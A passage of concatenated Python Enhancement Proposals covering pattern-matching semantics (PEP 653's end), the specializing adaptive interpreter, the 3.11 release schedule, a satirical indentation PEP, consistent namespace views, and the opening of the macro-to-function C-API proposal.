len($value) == 2: if "a" in $value: if "b" in $value: x = $value["a"] y = $value["b"] goto W if "c" in $value: x = $value["a"] y = $value["c"] goto X elif len($value) == 3: if "a" in $value and "b" in $value: x = $value["a"] y = $value["c"] goto Y other = $value goto Z Summary of differences between this PEP and PEP 634 The changes to the semantics can be summarized as: Requires __match_args__ to be a tuple of strings, not just a sequence. This make pattern matching a bit more robust and optimizable as __match_args__ can be assumed to be immutable. Selecting the kind of container patterns that can be matched uses cls.__match_container__ instead of issubclass(cls, collections.abc.Mapping) and issubclass(cls, collections.abc.Sequence). Allows classes to opt out of deconstruction altogether, if necessary, but setting __match_class__ = 0. The behavior when matching patterns is more precisely defined, but is otherwise unchanged. There are no changes to syntax. All examples given in the PEP 636 tutorial should continue to work as they do now. Rejected Ideas Using attributes from the instance’s dictionary An earlier version of this PEP only used attributes from the instance’s dictionary when matching a class pattern with __match_class__ was the default value. The intent was to avoid capturing bound-methods and other synthetic attributes. However, this also mean that properties were ignored. For the class: class C: def __init__(self): self.a = "a" @property def p(self): ... def m(self): ... Ideally we would match the attributes “a” and “p”, but not “m”. However, there is no general way to do that, so this PEP now follows the semantics of PEP 634. Lookup of __match_args__ on the subject not the pattern An earlier version of this PEP looked up __match_args__ on the class of the subject and not the class specified in the pattern. This has been rejected for a few reasons: * Using the class specified in the pattern is more amenable to optimization and can offer better performance. * Using the class specified in the pattern has the potential to provide better error reporting is some cases. * Neither approach is perfect, both have odd corner cases. Keeping the status quo minimizes disruption. Combining __match_class__ and __match_container__ into a single value An earlier version of this PEP combined __match_class__ and __match_container__ into a single value, __match_kind__. Using a single value has a small advantage in terms of performance, but is likely to result in unintended changes to container matching when overriding class matching behavior, and vice versa. Deferred Ideas The original version of this PEP included the match kind MATCH_POSITIONAL and special method __deconstruct__ which would allow classes full control over their matching. This is important for libraries like sympy. For example, using sympy, we might want to write: # sin(x)**2 + cos(x)**2 == 1 case Add(Pow(sin(a), 2), Pow(cos(b), 2)) if a == b: return 1 For sympy to support the positional patterns with current pattern matching is possible, but is tricky. With these additional features it can be implemented easily [9]. This idea will feature in a future PEP for 3.11. However, it is too late in the 3.10 development cycle for such a change. Having a separate value to reject all class matches In an earlier version of this PEP, there was a distinct value for __match_class__ that allowed classes to not match any class pattern that would have required deconstruction. However, this would become redundant once MATCH_POSITIONAL is introduced, and complicates the specification for an extremely rare case. Code examples [1] class Symbol: __match_class__ = MATCH_SELF [2] This: case [a, b] if a is b: translates to: $kind = type($value).__match_container__ if $kind != MATCH_SEQUENCE: FAIL if len($value) != 2: FAIL a, b = $value if not a is b: FAIL [3] This: case [a, *b, c]: translates to: $kind = type($value).__match_container__ if $kind != MATCH_SEQUENCE: FAIL if len($value) < 2: FAIL a, *b, c = $value [4] This: case {"x": x, "y": y} if x > 2: translates to: $kind = type($value).__match_container__ if $kind != MATCH_MAPPING: FAIL $tmp = $value.get("x", $sentinel) if $tmp is $sentinel: FAIL x = $tmp $tmp = $value.get("y", $sentinel) if $tmp is $sentinel: FAIL y = $tmp if not x > 2: FAIL [5] This: case {"x": x, "y": y, **z}: translates to: $kind = type($value).__match_container__ if $kind != MATCH_MAPPING: FAIL $tmp = dict($value) if not $tmp.keys() >= {"x", "y"}: FAIL x = $tmp.pop("x") y = $tmp.pop("y") z = $tmp [6] This: match ClsName(x, y): translates to: if not isinstance($value, ClsName): FAIL $attrs = ClsName.__match_args__ if len($attr) < 2: FAIL try: x = getattr($value, $attrs[0]) y = getattr($value, $attrs[1]) except AttributeError: FAIL [7] This: match ClsName(a=x, b=y): translates to: if not isinstance($value, ClsName): FAIL try: x = $value.a y = $value.b except AttributeError: FAIL [8] This: match ClsName(x, a=y): translates to: if not isinstance($value, ClsName): FAIL $attrs = ClsName.__match_args__ if len($attr) < 1: raise TypeError(...) $positional_names = $attrs[:1] try: x = getattr($value, $attrs[0]) if "a" in $positional_names: raise TypeError(...) y = $value.a except AttributeError: FAIL [9] class Basic: __match_class__ = MATCH_POSITIONAL def __deconstruct__(self): return self._args Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Draft

PEP 653 – Precise Semantics for Pattern Matching

Standards Track

This PEP proposes a semantics for pattern matching that respects the general concept of PEP 634, but is more precise, easier to reason about, and should be faster.

PEP 659 – Specializing Adaptive Interpreter Author: Mark Shannon <mark at hotpy.org> Status: Draft Type: Informational Created: 13-Apr-2021 Post-History: 11-May-2021 Table of Contents Abstract Motivation Rationale Performance Implementation Overview Quickening Adaptive instructions Specialization Ancillary data Example families of instructions LOAD_ATTR LOAD_GLOBAL Compatibility Costs Memory use Comparing memory use to 3.10 Security Implications Rejected Ideas Storing data caches before the bytecode. References Copyright Abstract In order to perform well, virtual machines for dynamic languages must specialize the code that they execute to the types and values in the program being run. This specialization is often associated with “JIT” compilers, but is beneficial even without machine code generation. A specializing, adaptive interpreter is one that speculatively specializes on the types or values it is currently operating on, and adapts to changes in those types and values. Specialization gives us improved performance, and adaptation allows the interpreter to rapidly change when the pattern of usage in a program alters, limiting the amount of additional work caused by mis-specialization. This PEP proposes using a specializing, adaptive interpreter that specializes code aggressively, but over a very small region, and is able to adjust to mis-specialization rapidly and at low cost. Adding a specializing, adaptive interpreter to CPython will bring significant performance improvements. It is hard to come up with meaningful numbers, as it depends very much on the benchmarks and on work that has not yet happened. Extensive experimentation suggests speedups of up to 50%. Even if the speedup were only 25%, this would still be a worthwhile enhancement. Motivation Python is widely acknowledged as slow. Whilst Python will never attain the performance of low-level languages like C, Fortran, or even Java, we would like it to be competitive with fast implementations of scripting languages, like V8 for Javascript or luajit for lua. Specifically, we want to achieve these performance goals with CPython to benefit all users of Python including those unable to use PyPy or other alternative virtual machines. Achieving these performance goals is a long way off, and will require a lot of engineering effort, but we can make a significant step towards those goals by speeding up the interpreter. Both academic research and practical implementations have shown that a fast interpreter is a key part of a fast virtual machine. Typical optimizations for virtual machines are expensive, so a long “warm up” time is required to gain confidence that the cost of optimization is justified. In order to get speed-ups rapidly, without noticeable warmup times, the VM should speculate that specialization is justified even after a few executions of a function. To do that effectively, the interpreter must be able to optimize and de-optimize continually and very cheaply. By using adaptive and speculative specialization at the granularity of individual virtual machine instructions, we get a faster interpreter that also generates profiling information for more sophisticated optimizations in the future. Rationale There are many practical ways to speed-up a virtual machine for a dynamic language. However, specialization is the most important, both in itself and as an enabler of other optimizations. Therefore it makes sense to focus our efforts on specialization first, if we want to improve the performance of CPython. Specialization is typically done in the context of a JIT compiler, but research shows specialization in an interpreter can boost performance significantly, even outperforming a naive compiler [1]. There have been several ways of doing this proposed in the academic literature, but most attempt to optimize regions larger than a single bytecode [1] [2]. Using larger regions than a single instruction requires code to handle de-optimization in the middle of a region. Specialization at the level of individual bytecodes makes de-optimization trivial, as it cannot occur in the middle of a region. By speculatively specializing individual bytecodes, we can gain significant performance improvements without anything but the most local, and trivial to implement, de-optimizations. The closest approach to this PEP in the literature is “Inline Caching meets Quickening” [3]. This PEP has the advantages of inline caching, but adds the ability to quickly de-optimize making the performance more robust in cases where specialization fails or is not stable. Performance The speedup from specialization is hard to determine, as many specializations depend on other optimizations. Speedups seem to be in the range 10% - 60%. Most of the speedup comes directly from specialization. The largest contributors are speedups to attribute lookup, global variables, and calls. A small, but useful, fraction is from improved dispatch such as super-instructions and other optimizations enabled by quickening. Implementation Overview Any instruction that would benefit from specialization will be replaced by an “adaptive” form of that instruction. When executed, the adaptive instructions will specialize themselves in response to the types and values that they see. This process is known as “quickening”. Once an instruction in a code object has executed enough times, that instruction will be “specialized” by replacing it with a new instruction that is expected to execute faster for that operation. Quickening Quickening is the process of replacing slow instructions with faster variants. Quickened code has a number of advantages over immutable bytecode: It can be changed at runtime. It can use super-instructions that span lines and take multiple operands. It does not need to handle tracing as it can fallback to the original bytecode for that. In order that tracing can be supported, the quickened instruction format should match the immutable, user visible, bytecode format: 16-bit instructions of 8-bit opcode followed by 8-bit operand. Adaptive instructions Each instruction that would benefit from specialization is replaced by an adaptive version during quickening. For example, the LOAD_ATTR instruction would be replaced with LOAD_ATTR_ADAPTIVE. Each adaptive instruction periodically attempts to specialize itself. Specialization CPython bytecode contains many instructions that represent high-level operations, and would benefit from specialization. Examples include CALL, LOAD_ATTR, LOAD_GLOBAL and BINARY_ADD. By introducing a “family” of specialized instructions for each of these instructions allows effective specialization, since each new instruction is specialized to a single task. Each family will include an “adaptive” instruction, that maintains a counter and attempts to specialize itself when that counter reaches zero. Each family will also include one or more specialized instructions that perform the equivalent of the generic operation much faster provided their inputs are as expected. Each specialized instruction will maintain a saturating counter which will be incremented whenever the inputs are as expected. Should the inputs not be as expected, the counter will be decremented and the generic operation will be performed. If the counter reaches the minimum value, the instruction is de-optimized by simply replacing its opcode with the adaptive version. Ancillary data Most families of specialized instructions will require more information than can fit in an 8-bit operand. To do this, a number of 16 bit entries immediately following the instruction are used to store this data. This is a form of inline cache, an “inline data cache”. Unspecialized, or adaptive, instructions will use the first entry of this cache as a counter, and simply skip over the others. Example families of instructions LOAD_ATTR The LOAD_ATTR instruction loads the named attribute of the object on top of the stack, then replaces the object on top of the stack with the attribute. This is an obvious candidate for specialization. Attributes might belong to a normal instance, a class, a module, or one of many other special cases. LOAD_ATTR would initially be quickened to LOAD_ATTR_ADAPTIVE which would track how often it is executed, and call the _Py_Specialize_LoadAttr internal function when executed enough times, or jump to the original LOAD_ATTR instruction to perform the load. When optimizing, the kind of the attribute would be examined, and if a suitable specialized instruction was found, it would replace LOAD_ATTR_ADAPTIVE in place. Specialization for LOAD_ATTR might include: LOAD_ATTR_INSTANCE_VALUE A common case where the attribute is stored in the object’s value array, and not shadowed by an overriding descriptor. LOAD_ATTR_MODULE Load an attribute from a module. LOAD_ATTR_SLOT Load an attribute from an object whose class defines __slots__. Note how this allows optimizations that complement other optimizations. The LOAD_ATTR_INSTANCE_VALUE works well with the “lazy dictionary” used for many objects. LOAD_GLOBAL The LOAD_GLOBAL instruction looks up a name in the global namespace and then, if not present in the global namespace, looks it up in the builtins namespace. In 3.9 the C code for the LOAD_GLOBAL includes code to check to see whether the whole code object should be modified to add a cache, whether either the global or builtins namespace, code to lookup the value in a cache, and fallback code. This makes it complicated and bulky. It also performs many redundant operations even when supposedly optimized. Using a family of instructions makes the code more maintainable and faster, as each instruction only needs to handle one concern. Specializations would include: LOAD_GLOBAL_ADAPTIVE would operate like LOAD_ATTR_ADAPTIVE above. LOAD_GLOBAL_MODULE can be specialized for the case where the value is in the globals namespace. After checking that the keys of the namespace have not changed, it can load the value from the stored index. LOAD_GLOBAL_BUILTIN can be specialized for the case where the value is in the builtins namespace. It needs to check that the keys of the global namespace have not been added to, and that the builtins namespace has not changed. Note that we don’t care if the values of the global namespace have changed, just the keys. See [4] for a full implementation. Note This PEP outlines the mechanisms for managing specialization, and does not specify the particular optimizations to be applied. It is likely that details, or even the entire implementation, may change as the code is further developed. Compatibility There will be no change to the language, library or API. The only way that users will be able to detect the presence of the new interpreter is through timing execution, the use of debugging tools, or measuring memory use. Costs Memory use An obvious concern with any scheme that performs any sort of caching is “how much more memory does it use?”. The short answer is “not that much”. Comparing memory use to 3.10 CPython 3.10 used 2 bytes per instruction, until the execution count reached ~2000 when it allocates another byte per instruction and 32 bytes per instruction with a cache (LOAD_GLOBAL and LOAD_ATTR). The following table shows the additional bytes per instruction to support the 3.10 opcache or the proposed adaptive interpreter, on a 64 bit machine. Version 3.10 cold 3.10 hot 3.11 Specialised 0% ~15% ~25% code 2 2 2 opcache_map 0 1 0 opcache/data 0 4.8 4 Total 2 7.8 6 3.10 cold is before the code has reached the ~2000 limit. 3.10 hot shows the cache use once the threshold is reached. The relative memory use depends on how much code is “hot” enough to trigger creation of the cache in 3.10. The break even point, where the memory used by 3.10 is the same as for 3.11 is ~70%. It is also worth noting that the actual bytecode is only part of a code object. Code objects also include names, constants and quite a lot of debugging information. In summary, for most applications where many of the functions are relatively unused, 3.11 will consume more memory than 3.10, but not by much. Security Implications None Rejected Ideas By implementing a specializing adaptive interpreter with inline data caches, we are implicitly rejecting many alternative ways to optimize CPython. However, it is worth emphasizing that some ideas, such as just-in-time compilation, have not been rejected, merely deferred. Storing data caches before the bytecode. An earlier implementation of this PEP for 3.11 alpha used a different caching scheme as described below: Quickened instructions will be stored in an array (it is neither necessary not desirable to store them in a Python object) with the same format as the original bytecode. Ancillary data will be stored in a separate array.Each instruction will use 0 or more data entries. Each instruction within a family must have the same amount of data allocated, although some instructions may not use all of it. Instructions that cannot be specialized, e.g. POP_TOP, do not need any entries. Experiments show that 25% to 30% of instructions can be usefully specialized. Different families will need different amounts of data, but most need 2 entries (16 bytes on a 64 bit machine). In order to support larger functions than 256 instructions, we compute the offset of the first data entry for instructions as (instruction offset)//2 + (quickened operand). Compared to the opcache in Python 3.10, this design: is faster; it requires no memory reads to compute the offset. 3.10 requires two reads, which are dependent. uses much less memory, as the data can be different sizes for different instruction families, and doesn’t need an additional array of offsets. can support much larger functions, up to about 5000 instructions per function. 3.10 can support about 1000. We rejected this scheme as the inline cache approach is both faster and simpler. References [1] (1, 2) The construction of high-performance virtual machines for dynamic languages, Mark Shannon 2011. https://theses.gla.ac.uk/2975/1/2011shannonphd.pdf [2] Dynamic Interpretation for Dynamic Scripting Languages https://www.scss.tcd.ie/publications/tech-reports/reports.09/TCD-CS-2009-37.pdf [3] Inline Caching meets Quickening https://www.unibw.de/ucsrl/pubs/ecoop10.pdf/view [4] The adaptive and specialized instructions are implemented in https://github.com/python/cpython/blob/main/Python/ceval.cThe optimizations are implemented in: https://github.com/python/cpython/blob/main/Python/specialize.c Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Draft

PEP 659 – Specializing Adaptive Interpreter

Informational

In order to perform well, virtual machines for dynamic languages must specialize the code that they execute to the types and values in the program being run. This specialization is often associated with “JIT” compilers, but is beneficial even without machine code generation.

PEP 664 – Python 3.11 Release Schedule Author: Pablo Galindo Salgado <pablogsal at python.org> Status: Active Type: Informational Topic: Release Created: 12-Jul-2021 Python-Version: 3.11 Table of Contents Abstract Release Manager and Crew Release Schedule 3.11.0 schedule Bugfix releases 3.11 Lifespan Features for 3.11 Copyright Abstract This document describes the development and release schedule for Python 3.11. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.11 Release Manager: Pablo Galindo Salgado Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard Release Schedule 3.11.0 schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between feature versions, as defined by PEP 602. Actual: 3.11 development begins: Monday, 2021-05-03 3.11.0 alpha 1: Tuesday, 2021-10-05 3.11.0 alpha 2: Tuesday, 2021-11-02 3.11.0 alpha 3: Wednesday, 2021-12-08 3.11.0 alpha 4: Friday, 2022-01-14 3.11.0 alpha 5: Thursday, 2022-02-03 3.11.0 alpha 6: Monday, 2022-03-07 3.11.0 alpha 7: Tuesday, 2022-04-05 3.11.0 beta 1: Sunday, 2022-05-08 (No new features beyond this point.) 3.11.0 beta 2: Tuesday, 2022-05-31 3.11.0 beta 3: Wednesday, 2022-06-01 3.11.0 beta 4: Monday, 2022-07-11 3.11.0 beta 5: Tuesday, 2022-07-26 3.11.0 candidate 1: Monday, 2022-08-08 3.11.0 candidate 2: Monday, 2022-09-12 3.11.0 final: Monday, 2022-10-24 Bugfix releases Actual: 3.11.1: Tuesday, 2022-12-06 3.11.2: Wednesday, 2023-02-08 3.11.3: Wednesday, 2023-04-05 3.11.4: Tuesday, 2023-06-06 3.11.5: Thursday, 2023-08-24 3.11.6: Monday, 2023-10-02 3.11.7: Monday, 2023-12-04 Expected: 3.11.8: Monday, 2024-02-05 Final regular bugfix release with binary installers: 3.11.9: Monday, 2024-04-01 3.11 Lifespan 3.11 will receive bugfix updates approximately every 2 months for approximately 18 months. Some time after the release of 3.12.0 final, the ninth and final 3.11 bugfix update will be released. After that, it is expected that security updates (source only) will be released until 5 years after the release of 3.11.0 final, so until approximately October 2027. Features for 3.11 Some of the notable features of Python 3.11 include: PEP 654, Exception Groups and except*. PEP 657, Enhanced error locations in tracebacks. PEP 680, Support for parsing TOML in the standard library Python 3.11 is up to 10-60% faster than Python 3.10. On average, we measured a 1.25x speedup on the standard benchmark suite. See Faster CPython for details. Typing features: PEP 646, Variadic generics. PEP 655, Marking individual TypedDict items as required or potentially-missing. PEP 673, Self type. PEP 675, Arbitrary literal string type. PEP 681, Dataclass transforms Copyright This document has been placed in the public domain.

Active

PEP 664 – Python 3.11 Release Schedule

Informational

This document describes the development and release schedule for Python 3.11. The schedule primarily concerns itself with PEP-sized items.

PEP 666 – Reject Foolish Indentation Author: Laura Creighton <lac at strakt.com> Status: Rejected Type: Standards Track Created: 03-Dec-2001 Python-Version: 2.2 Post-History: 05-Dec-2001 Table of Contents Abstract Rationale References Copyright Abstract Everybody agrees that mixing tabs and spaces is a bad idea. Some people want more than this. I propose that we let people define whatever Python behaviour they want, so it will only run the way they like it, and will not run the way they don’t like it. We will do this with a command line switch. Programs that aren’t formatted the way the programmer wants things will raise IndentationError. python -TNone will refuse to run when there are any tabs. python -Tn will refuse to run when tabs are not exactly n spaces python -TOnly will refuse to run when blocks are indented by anything other than tabs People who mix tabs and spaces, naturally, will find that their programs do not run. Alas, we haven’t found a way to give them an electric shock as from a cattle prod remotely. (Though if somebody finds out a way to do this, I will be pleased to add this option to the PEP.) Rationale Python-list@python.org (a.k.a. comp.lang.python) is periodically awash with discussions about tabs and spaces. This is inevitable, given that indentation is syntactically significant in Python. This has never solved anything, and just makes various people frustrated and angry. Eventually they start saying rude things to each other which is sad for all of us. And it is also sad that they are wasting their valuable time which they could spend creating something with Python. Moreover, for the Python community as a whole, from a public relations point of view, this is quite unfortunate. The people who aren’t posting about tabs and spaces, are, (unsurprisingly) invisible, while the people who are posting make the rest of us look somewhat foolish. The problem is that there is no polite way to say ‘Stop wasting your valuable time and mine.’ People who are already in the middle of a flame war are not well disposed to believe that you are acting out of compassion for them, and quite rightly insist that their own time is their own to do with as they please. They are stuck like flies in treacle in this wretched argument, and it is self-evident that they cannot disengage or they would have already done so. But today I had to spend time cleaning my keyboard because the ‘n’ key is sticking. So, in addition to feeling compassion for these people, I am pretty annoyed. I figure if I make this PEP, we can then ask Guido to quickly reject it, and then when this argument next starts up again, we can say ‘Guido isn’t changing things to suit the tab-haters or the only-tabbers, so this conversation is a waste of time.’ Then everybody can quietly believe that a) they are correct and b) other people are fools and c) they are undeniably fortunate to not have to share a lab with idiots, (which is something the arguers could do _now_, but apparently have forgotten). And python-list can go back to worrying if it is too smug, rather than whether it is too hostile for newcomers. Possibly somebody could get around to explaining to me what is the difference between __getattr__ and __getattribute__ in non-Classic classes in 2.2, a question I have foolishly posted in the middle of the current tab thread. I would like to know the answer to that question [1]. This proposal, if accepted, will probably mean a heck of a lot of work for somebody. But since I don’t want it accepted, I don’t care. References [1] Tim Peters already has (private correspondence). My early 2.2 didn’t have a __getattribute__, and __getattr__ was implemented like __getattribute__ now is. This has been fixed. The important conclusion is that my Decorator Pattern is safe and all is right with the world. Copyright This document has been placed in the public domain.

Rejected

PEP 666 – Reject Foolish Indentation

Standards Track

Everybody agrees that mixing tabs and spaces is a bad idea. Some people want more than this. I propose that we let people define whatever Python behaviour they want, so it will only run the way they like it, and will not run the way they don’t like it. We will do this with a command line switch. Programs that aren’t formatted the way the programmer wants things will raise IndentationError.

PEP 667 – Consistent views of namespaces Author: Mark Shannon <mark at hotpy.org> Status: Draft Type: Standards Track Created: 30-Jul-2021 Python-Version: 3.13 Post-History: 20-Aug-2021 Table of Contents Abstract Motivation Rationale Specification Python C-API Extensions to the API Changes to existing APIs Behavior of f_locals for optimized functions Backwards Compatibility Python C-API PyEval_GetLocals PyFrame_FastToLocals, etc. Implementation C API Impact on PEP 709 inlined comprehensions Comparison with PEP 558 Open Issues Have locals() return a mapping proxy Lifetime of the mapping proxy References Copyright Abstract In early versions of Python all namespaces, whether in functions, classes or modules, were all implemented the same way: as a dictionary. For performance reasons, the implementation of function namespaces was changed. Unfortunately this meant that accessing these namespaces through locals() and frame.f_locals ceased to be consistent and some odd bugs crept in over the years as threads, generators and coroutines were added. This PEP proposes making these namespaces consistent once more. Modifications to frame.f_locals will always be visible in the underlying variables. Modifications to local variables will immediately be visible in frame.f_locals, and they will be consistent regardless of threading or coroutines. The locals() function will act the same as it does now for class and modules scopes. For function scopes it will return an instantaneous snapshot of the underlying frame.f_locals. Motivation The current implementation of locals() and frame.f_locals is slow, inconsistent and buggy. We want to make it faster, consistent, and most importantly fix the bugs. For example: class C: x = 1 sys._getframe().f_locals['x'] = 2 print(x) prints 2 but: def f(): x = 1 sys._getframe().f_locals['x'] = 2 print(x) f() prints 1 This is inconsistent, and confusing. With this PEP both examples would print 2. Worse than that, the current behavior can result in strange bugs [1] There are no compensating advantages for the current behavior; it is unreliable and slow. Rationale The current implementation of frame.f_locals returns a dictionary that is created on the fly from the array of local variables. This can result in the array and dictionary getting out of sync with each other. Writes to the f_locals may not show up as modifications to local variables. Writes to local variables can get lost. By making frame.f_locals return a view on the underlying frame, these problems go away. frame.f_locals is always in sync with the frame because it is a view of it, not a copy of it. Specification Python frame.f_locals will return a view object on the frame that implements the collections.abc.Mapping interface. For module and class scopes frame.f_locals will be a dictionary, for function scopes it will be a custom class. locals() will be defined as: def locals(): frame = sys._getframe(1) f_locals = frame.f_locals if frame.is_function(): f_locals = dict(f_locals) return f_locals All writes to the f_locals mapping will be immediately visible in the underlying variables. All changes to the underlying variables will be immediately visible in the mapping. The f_locals object will be a full mapping, and can have arbitrary key-value pairs added to it. For example: def l(): "Get the locals of caller" return sys._getframe(1).f_locals def test(): if 0: y = 1 # Make 'y' a local variable x = 1 l()['x'] = 2 l()['y'] = 4 l()['z'] = 5 y print(locals(), x) test() will print {'x': 2, 'y': 4, 'z': 5} 2. In Python 3.10, the above will fail with an UnboundLocalError, as the definition of y by l()['y'] = 4 is lost. If the second-to-last line were changed from y to z, this would be a NameError, as it is today. Keys added to frame.f_locals that are not lexically local variables remain visible in frame.f_locals, but do not dynamically become local variables. C-API Extensions to the API Four new C-API functions will be added: PyObject *PyEval_GetFrameLocals(void) PyObject *PyEval_GetFrameGlobals(void) PyObject *PyEval_GetFrameBuiltins(void) PyObject *PyFrame_GetLocals(PyFrameObject *f) PyEval_GetFrameLocals() is equivalent to: locals(). PyEval_GetFrameGlobals() is equivalent to: globals(). PyFrame_GetLocals(f) is equivalent to: f.f_locals. All these functions will return a new reference. Changes to existing APIs The following C-API functions will be deprecated, as they return borrowed references: PyEval_GetLocals() PyEval_GetGlobals() PyEval_GetBuiltins() They will be removed in 3.15. The following functions should be used instead: PyEval_GetFrameLocals() PyEval_GetFrameGlobals() PyEval_GetFrameBuiltins() which return new references. The semantics of PyEval_GetLocals() is changed as it now returns a view of the frame locals, not a dictionary. The following three functions will become no-ops, and will be deprecated: PyFrame_FastToLocalsWithError() PyFrame_FastToLocals() PyFrame_LocalsToFast() They will be removed in 3.15. Behavior of f_locals for optimized functions Although f.f_locals behaves as if it were the namespace of the function, there will be some observable differences. For example, f.f_locals is f.f_locals may be False. However f.f_locals == f.f_locals will be True, and all changes to the underlying variables, by any means, will be always be visible. Backwards Compatibility Python The current implementation has many corner cases and oddities. Code that works around those may need to be changed. Code that uses locals() for simple templating, or print debugging, will continue to work correctly. Debuggers and other tools that use f_locals to modify local variables, will now work correctly, even in the presence of threaded code, coroutines and generators. C-API PyEval_GetLocals Because PyEval_GetLocals() returns a borrowed reference, it requires the dictionary to be cached on the frame, extending its lifetime and creating a cycle. PyEval_GetFrameLocals() should be used instead. This code: locals = PyEval_GetLocals(); if (locals == NULL) { goto error_handler; } Py_INCREF(locals); should be replaced with: locals = PyEval_GetFrameLocals(); if (locals == NULL) { goto error_handler; } PyFrame_FastToLocals, etc. These functions were designed to convert the internal “fast” representation of the locals variables of a function to a dictionary, and vice versa. Calls to them are no longer required. C code that directly accesses the f_locals field of a frame should be modified to call PyFrame_GetLocals() instead: PyFrame_FastToLocals(frame); PyObject *locals = frame.f_locals; Py_INCREF(locals); becomes: PyObject *locals = PyFrame_GetLocals(frame); if (frame == NULL) goto error_handler; Implementation Each read of frame.f_locals will create a new proxy object that gives the appearance of being the mapping of local (including cell and free) variable names to the values of those local variables. A possible implementation is sketched out below. All attributes that start with an underscore are invisible and cannot be accessed directly. They serve only to illustrate the proposed design. NULL: Object # NULL is a singleton representing the absence of a value. class CodeType: _name_to_offset_mapping_impl: dict | NULL _cells: frozenset # Set of indexes of cell and free variables ... def __init__(self, ...): self._name_to_offset_mapping_impl = NULL self._variable_names = deduplicate( self.co_varnames + self.co_cellvars + self.co_freevars ) ... @property def _name_to_offset_mapping(self): "Mapping of names to offsets in local variable array." if self._name_to_offset_mapping_impl is NULL: self._name_to_offset_mapping_impl = { name: index for (index, name) in enumerate(self._variable_names) } return self._name_to_offset_mapping_impl class FrameType: _locals : array[Object] # The values of the local variables, items may be NULL. _extra_locals: dict | NULL # Dictionary for storing extra locals not in _locals. _locals_cache: FrameLocalsProxy | NULL # required to support PyEval_GetLocals() def __init__(self, ...): self._extra_locals = NULL self._locals_cache = NULL ... @property def f_locals(self): return FrameLocalsProxy(self) class FrameLocalsProxy: "Implements collections.MutableMapping." __slots__ "_frame" def __init__(self, frame:FrameType): self._frame = frame def __getitem__(self, name): f = self._frame co = f.f_code if name in co._name_to_offset_mapping: index = co._name_to_offset_mapping[name] val = f._locals[index] if val is NULL: raise KeyError(name) if index in co._cells val = val.cell_contents if val is NULL: raise KeyError(name) return val else: if f._extra_locals is NULL: raise KeyError(name) return f._extra_locals[name] def __setitem__(self, name, value): f = self._frame co = f.f_code if name in co._name_to_offset_mapping: index = co._name_to_offset_mapping[name] kind = co._local_kinds[index] if index in co._cells cell = f._locals[index] cell.cell_contents = val else: f._locals[index] = val else: if f._extra_locals is NULL: f._extra_locals = {} f._extra_locals[name] = val def __iter__(self): f = self._frame co = f.f_code yield from iter(f._extra_locals) for index, name in enumerate(co._variable_names): val = f._locals[index] if val is NULL: continue if index in co._cells: val = val.cell_contents if val is NULL: continue yield name def __contains__(self, item): f = self._frame if item in f._extra_locals: return True return item in co._variable_names def __len__(self): f = self._frame co = f.f_code res = 0 for index, _ in enumerate(co._variable_names): val = f._locals[index] if val is NULL: continue if index in co._cells: if val.cell_contents is NULL: continue res += 1 return len(self._extra_locals) + res C API PyEval_GetLocals() will be implemented roughly as follows: PyObject *PyEval_GetLocals(void) { PyFrameObject * = ...; // Get the current frame. if (frame->_locals_cache == NULL) { frame->_locals_cache = PyEval_GetFrameLocals(); } return frame->_locals_cache; } As with all functions that return a borrowed reference, care must be taken to ensure that the reference is not used beyond the lifetime of the object. Impact on PEP 709 inlined comprehensions For inlined comprehensions within a function, locals() currently behaves the same inside or outside of the comprehension, and this will not change. The behavior of locals() inside functions will generally change as specified in the rest of this PEP. For inlined comprehensions at module or class scope, currently calling locals() within the inlined comprehension returns a new dictionary for each call. This PEP will make locals() within a function also always return a new dictionary for each call, improving consistency; class or module scope inlined comprehensions will appear to behave as if the inlined comprehension is still a distinct function. Comparison with PEP 558 This PEP and PEP 558 share a common goal: to make the semantics of locals() and frame.f_locals() intelligible, and their operation reliable. The key difference between this PEP and PEP 558 is that PEP 558 keeps an internal copy of the local variables, whereas this PEP does not. PEP 558 does not specify exactly when the internal copy is updated, making the behavior of PEP 558 impossible to reason about. Open Issues Have locals() return a mapping proxy An alternative way to define locals() would be simply as: def locals(): return sys._getframe(1).f_locals This would be simpler and easier to understand. However, there would be backwards compatibility issues when locals() is assigned to a local variable or passed to eval or exec. Lifetime of the mapping proxy Each read of the f_locals attributes creates a new mapping proxy. This is done to avoid creating a reference cycle. An alternative would be to cache the proxy on the frame, so that frame.f_locals is frame.f_locals would be true. The downside of this is that the reference cycle would delay collection of both the frame and mapping proxy until the next cycle collection. PyEval_GetLocals() already creates a cycle, as it returns a borrowed reference. References [1] https://bugs.python.org/issue30744 Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Draft

PEP 667 – Consistent views of namespaces

Standards Track

In early versions of Python all namespaces, whether in functions, classes or modules, were all implemented the same way: as a dictionary.

PEP 670 – Convert macros to functions in the Python C API Author: Erlend Egeberg Aasland <erlend at python.org>, Victor Stinner <vstinner at python.org> Status: Final Type: Standards Track Created: 19-Oct-2021 Python-Version: 3.11 Post-History: 20-Oct-2021, 08-Feb-2022, 22-Feb-2022 Resolution: Python-Dev thread Table of Contents Abstract Rationale Specification Convert macros to static inline functions Convert static inline functions to regular functions Cast pointer arguments Avoid the cast in the limited C API version 3.11 Return type is not changed Backwards Compatibility Examples of Macro Pitfalls Duplication of side effects Misnesting Examples of hard to read macros PyObject_INIT() _Py_NewReference() PyUnicode_READ_CHAR() Macros converted to functions since Python 3.8 Macros converted to static inline functions Macros converted to regular functions Static inline functions converted to regular functions Incompatible changes Performance concerns and benchmarks Static inline functions Debug build Force inlining Disabling inlining Rejected Ideas Keep macros, but fix some macro issues Post History References Version History Copyright Abstract Macros in the C API will be converted to static inline functions or regular functions. This will help avoid macro pitfalls in C/C++, and make the functions usable from other programming languages. To avoid compiler warnings, function arguments of pointer types will be cast to appropriate types using additional macros. The cast will not be done in the limited C API version 3.11: users who opt in to the new limited API may need to add casts to the exact expected type. To avoid introducing incompatible changes, macros which can be used as l-value in an assignment will not be converted. Rationale The use of macros may have unintended adverse effects that are hard to avoid, even for experienced C developers. Some issues have been known for years, while others have been discovered recently in Python. Working around macro pitfalls makes the macro code harder to read and to maintain. Converting macros to functions has multiple advantages: Functions don’t suffer from macro pitfalls, for example the following ones described in GCC documentation: Misnesting Operator precedence problems Swallowing the semicolon Duplication of side effects Self-referential macros Argument prescan Newlines in arguments Functions don’t need the following 